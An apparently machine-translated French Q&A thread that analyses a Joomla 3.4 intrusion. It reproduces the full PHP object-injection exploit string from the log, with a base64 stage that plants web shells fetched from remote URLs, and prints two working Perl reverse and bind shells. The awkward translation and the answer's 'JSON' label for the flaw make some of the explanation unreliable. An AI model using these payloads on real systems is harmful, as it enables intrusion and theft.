Veuillez vous reporter ci-dessous l'entrée de journal du piratage, j'ai décodé le code BASE_64 et, finalement, certains fichiers sont supprimés sur le serveur et une liste de répertoires devient disponible entre autres Niceties!
Quelqu'un pourrait-il s'il vous plaît expliquer quelle faiblesse cela exploitent-il? Notre site exécute Joomla 3.4 J'ai mis à jour Joomla et définir des autorisations de dossier et de fichiers sur 755/644 respectivement. PHP version est 5.3.23.
Le 11 mars, j'ai réinitialisé ce site à la poussée de Git originale que nous avons réalisée en avril l'année dernière et a été surprise que la suivante a été piratée à nouveau.
J'aimerais vraiment savoir s'il s'agit d'un PHP vulnérabilité ou joomla afin que je puisse décider du meilleur plan d'action.
208.78.220.143 - - [12/Mar/2016:07:06:30 +0000] "GET / HTTP/1.0" 200 21849 "-" "}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:3702:\"eval(base64_decode('JGNoZWNrID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvbWVkaWEveHh4eC5waHAiIDsNCiRmcD1mb3BlbigiJGNoZWNrIiwidysiKTsNCmZ3cml0ZSgkZnAsYmFzZTY0X2RlY29kZSgnUEQ5d2FIQU5DbVoxYm1OMGFXOXVJR2gwZEhCZloyVjBLQ1IxY213cGV3MEtDU1JwYlNBOUlHTjFjbXhmYVc1cGRDZ2tkWEpzS1RzTkNnbGpkWEpzWDNObGRHOXdkQ2drYVcwc0lFTlZVa3hQVUZSZlVrVlVWVkpPVkZKQlRsTkdSVklzSURFcE93MEtDV04xY214ZmMyVjBiM0IwS0NScGJTd2dRMVZTVEU5UVZGOURUMDVPUlVOVVZFbE5SVTlWVkN3Z01UQXBPdzBLQ1dOMWNteGZjMlYwYjNCMEtDUnBiU3dnUTFWU1RFOVFWRjlHVDB4TVQxZE1UME5CVkVsUFRpd2dNU2s3RFFvSlkzVnliRjl6WlhSdmNIUW9KR2x0TENCRFZWSk1UMUJVWDBoRlFVUkZVaXdnTUNrN0RRb0pjbVYwZFhKdUlHTjFjbXhmWlhobFl5Z2thVzBwT3cwS0NXTjFjbXhmWTJ4dmMyVW9KR2x0S1RzTkNuME5DaVJqYUdWamF5QTlJQ1JmVTBWU1ZrVlNXeWRFVDBOVlRVVk9WRjlTVDA5VUoxMGdMaUFpTDIxbFpHbGhMMk56Y3k1d2FIQWlJRHNOQ2lSMFpYaDBJRDBnYUhSMGNGOW5aWFFvSjJoMGRIQTZMeTl3WVhOMFpXSnBiaTVqYjIwdmNtRjNMMGhpYW5ONGQwNVZKeWs3RFFva2IzQmxiaUE5SUdadmNHVnVLQ1JqYUdWamF5d2dKM2NuS1RzTkNtWjNjbWwwWlNna2IzQmxiaXdnSkhSbGVIUXBPdzBLWm1Oc2IzTmxLQ1J2Y0dWdUtUc05DbWxtS0dacGJHVmZaWGhwYzNSektDUmphR1ZqYXlrcGV3MEtJQ0FnSUdWamFHOGdKR05vWldOckxpSThMMkp5UGlJN0RRcDlaV3h6WlNBTkNpQWdaV05vYnlBaWJtOTBJR1Y0YVhSeklqc05DbVZqYUc4Z0ltUnZibVVnTGx4dUlDSWdPdzBLSkdOb1pXTnJNaUE5SUNSZlUwVlNWa1ZTV3lkRVQwTlZUVVZPVkY5U1QwOVVKMTBnTGlBaUwyMWxaR2xoTDIxaGMzTXVjR2h3SWlBN0RRb2tkR1Y0ZERJZ1BTQm9kSFJ3WDJkbGRDZ25hSFIwY0RvdkwzQmhjM1JsWW1sdUxtTnZiUzl5WVhjdmRtUlZNV2RRUW1zbktUc05DaVJ2Y0dWdU1pQTlJR1p2Y0dWdUtDUmphR1ZqYXpJc0lDZDNKeWs3RFFwbWQzSnBkR1VvSkc5d1pXNHlMQ0FrZEdWNGRESXBPdzBLWm1Oc2IzTmxLQ1J2Y0dWdU1pazdEUXBwWmlobWFXeGxYMlY0YVhOMGN5Z2tZMmhsWTJzeUtTbDdEUW9nSUNBZ1pXTm9ieUFrWTJobFkyc3lMaUk4TDJKeVBpSTdEUXA5Wld4elpTQU5DaUFnWldOb2J5QWlibTkwSUdWNGFYUnpNaUk3RFFwbFkyaHZJQ0prYjI1bE1pQXVYRzRnSWlBN0RRb05DaVJqYUdWamF6TTlKRjlUUlZKV1JWSmJKMFJQUTFWTlJVNVVYMUpQVDFRblhTQXVJQ0l2YzI1cGNHVnlMbWgwYlNJZ093MEtKSFJsZUhReklEMGdhSFIwY0Y5blpYUW9KMmgwZEhBNkx5OXdZWE4wWldKcGJpNWpiMjB2Y21GM0wxWmlNMUJVTVRWaUp5azdEUW9rYjNBelBXWnZjR1Z1S0NSamFHVmphek1zSUNkM0p5azdEUXBtZDNKcGRHVW9KRzl3TXl3a2RHVjRkRE1wT3cwS1ptTnNiM05sS0NSdmNETXBPdzBLRFFva1kyaGxZMnMwUFNSZlUwVlNWa1ZTV3lkRVQwTlZUVVZPVkY5U1QwOVVKMTBnTGlBaUwyMWxaR2xoTDJKNWNHRnpjeTV3YUhBaUlEc05DaVIwWlhoME5DQTlJR2gwZEhCZloyVjBLQ2RvZEhSd09pOHZjR0Z6ZEdWaWFXNHVZMjl0TDNKaGR5OXhlRmhFY3pJM2RpY3BPdzBLSkc5d05EMW1iM0JsYmlna1kyaGxZMnMwTENBbmR5Y3BPdzBLWm5keWFYUmxLQ1J2Y0RRc0pIUmxlSFEwS1RzTkNtWmpiRzl6WlNna2IzQTBLVHNOQ2cwS0pHTm9aV05yTlQwa1gxTkZVbFpGVWxzblJFOURWVTFGVGxSZlVrOVBWQ2RkSUM0Z0lpOHZiV1ZrYVdFdmFtMWhhV3h6TG5Cb2NDSWdPdzBLSkhSbGVIUTFJRDBnYUhSMGNGOW5aWFFvSjJoMGRIQTZMeTl3WVhOMFpXSnBiaTVqYjIwdmNtRjNMMmhuWVRGRlVsTmpKeWs3RFFva2IzQTFQV1p2Y0dWdUtDUmphR1ZqYXpVc0lDZDNKeWs3RFFwbWQzSnBkR1VvSkc5d05Td2tkR1Y0ZERVcE93MEtabU5zYjNObEtDUnZjRFVwT3cwS0RRb2tZMmhsWTJzMlBTUmZVMFZTVmtWU1d5ZEVUME5WVFVWT1ZGOVNUMDlVSjEwZ0xpQWlMMnhwWW5KaGNtbGxjeTlxYjI5dGJHRXZjMlZ6YzJsdmJpOXpaWE56YVc5dUxuQm9jQ0lnT3cwS0pIUmxlSFEySUQwZ2FIUjBjRjluWlhRb0oyaDBkSEE2THk5d1lYTjBaV0pwYmk1amIyMHZjbUYzTDFWSVFVZFVPRGczSnlrN0RRb2tiM0EyUFdadmNHVnVLQ1JqYUdWamF6WXNJQ2QzSnlrN0RRcG1kM0pwZEdVb0pHOXdOaXdrZEdWNGREWXBPdzBLWm1Oc2IzTmxLQ1J2Y0RZcE93MEtEUW9rZEc5NklEMGdJbUpoYkdGa1lYSnBiak5BWjIxaGFXd3VZMjl0SWpzTkNpUnpkV0pxWldOMElEMGdKMHB2YlNCNmVub2dKeUF1SUNSZlUwVlNWa1ZTV3lkVFJWSldSVkpmVGtGTlJTZGRPdzBLSkdobFlXUmxjaUE5SUNkbWNtOXRPaUJMWld0cllXa2dVMlZ1YzJWdUlEeGlZV3hoWkdGeWFXNHpRR2R0WVdsc0xtTnZiVDRuSUM0Z0lseHlYRzRpT3cwS0pHMWxjM05oWjJVZ1BTQWlVMmhsYkd4NklEb2dhSFIwY0Rvdkx5SWdMaUFrWDFORlVsWkZVbHNuVTBWU1ZrVlNYMDVCVFVVblhTQXVJQ0l2YkdsaWNtRnlhV1Z6TDJwdmIyMXNZUzlxYldGcGJDNXdhSEEvZFNJZ0xpQWlYSEpjYmlJZ0xpQndhSEJmZFc1aGJXVW9LU0F1SUNKY2NseHVJanNOQ2lSelpXNTBiV0ZwYkNBOUlFQnRZV2xzS0NSMGIzb3NJQ1J6ZFdKcVpXTjBMQ0FrYldWemMyRm5aU3dnSkdobFlXUmxjaWs3RFFvTkNrQjFibXhwYm1zb1gxOUdTVXhGWDE4cE93MEtEUW9OQ2o4KycpKTsNCmZjbG9zZSgkZnApOw=='));JFactory::getConfig();exit\";s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";b:1;}\xf0\xfd\xfd\xfd"
Cette réponse sera faite en fonction de l'hypothèse que votre site Web a été piraté. Si ce n'était pas piraté, et ces fichiers étaient pas Chargé, alors ce n'est qu'un hack tentative. Si vous avez trouvé des fichiers suspects, vous avez probablement été piraté.
Ceci est essentiellement un exploit Remote Code Execution
dans cette charge multiple shells
sur votre serveur et essaie de les fichiers de configuration exfiltrate
(voler), les mots de passe système, etc.
Ce qu'il fait est d'exploiter un problème avec une fonctionnalité de désérialisation JSON qui permet une exécution du code à distance. Une fois que c'est sur votre serveur, il commence à enchaîner plusieurs fonctions et en chargement de plusieurs coques.
Il désactive également votre journalisation d'erreur lorsqu'il ne veut pas que vous sachiez ce qui se passe:
@error_reporting(0);
Il y a beaucoup d'autres choses qui se passent et le code tente de vous empêcher de suivre ce que ça fait. Cela ne fait pas un très bon travail pour la plupart, mais une fois qu'elle charge les coquilles, tous les paris sont éteints.
Dans ce blob JSON, vous pouvez voir ici qu'ils tentent de jeter eval(base64_decode("hacked contents"));
dans le paramètre feed_url
.
\"feed_url\";s:3702: \"eval(base64_decode('hacked file contents here'));JFactory:: getConfig();exit\";
Nifty, hein?
Vous serez probablement bien servi en changeant Tout de vos noms d'utilisateur et mots de passe, pas seulement à l'orbite. Ce script tente de voler tout de vos fichiers de configuration, et mot de passe système.
Regarde ça:
flush();
$file = '/etc/passwd';
$read = @fopen($file, 'r');
... et ce fichier aussi.
A PHP Shell et une coquille Perl:
Voici la coquille Perl:
Fichier 1:
#!/usr/bin/Perl
use Socket;
$iaddr = inet_aton($ARGV[0]) || die("Error: $!\n");
$paddr = sockaddr_in($ARGV[1], $iaddr) || die("Error: $!\n");
$proto = getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system('/bin/sh -i');
close(STDIN);
close(STDOUT);
close(STDERR);
Fichier 2:
#!/usr/bin/Perl
$Shell = "/bin/sh -i";
if (@ARGV < 1) {
exit(1);
}
use Socket;
socket(S, & PF_INET, & SOCK_STREAM, getprotobyname('tcp')) || die "Cant create socket\n";
setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
bind(S, sockaddr_in($ARGV[0], INADDR_ANY)) || die "Cant open port\n";
listen(S, 3) || die "Cant listen port\n";
while (1) {
accept(CONN, S);
if (!($pid = fork)) {
die "Cannot fork"
if (!defined $pid);
open STDIN, "<&CONN";
open STDOUT, ">&CONN";
open STDERR, ">&CONN";
exec $Shell || die print CONN "Cant execute $Shell\n";
close CONN;
exit 0;
}
}
J'ai décodé le code source malveillant. Si cela vous intéresse, vérifiez les liens suivants ci-dessous:
Nuke de l'orbite , et changer tous les noms d'utilisateur et mots de passe . Ils peuvent avoir un accès complet.
Vous pouvez apprendre à faire cela vous-même. Découvrez ce fil: J'ai trouvé inconnu PHP code sur mon serveur. Comment puis-je décongeler le code?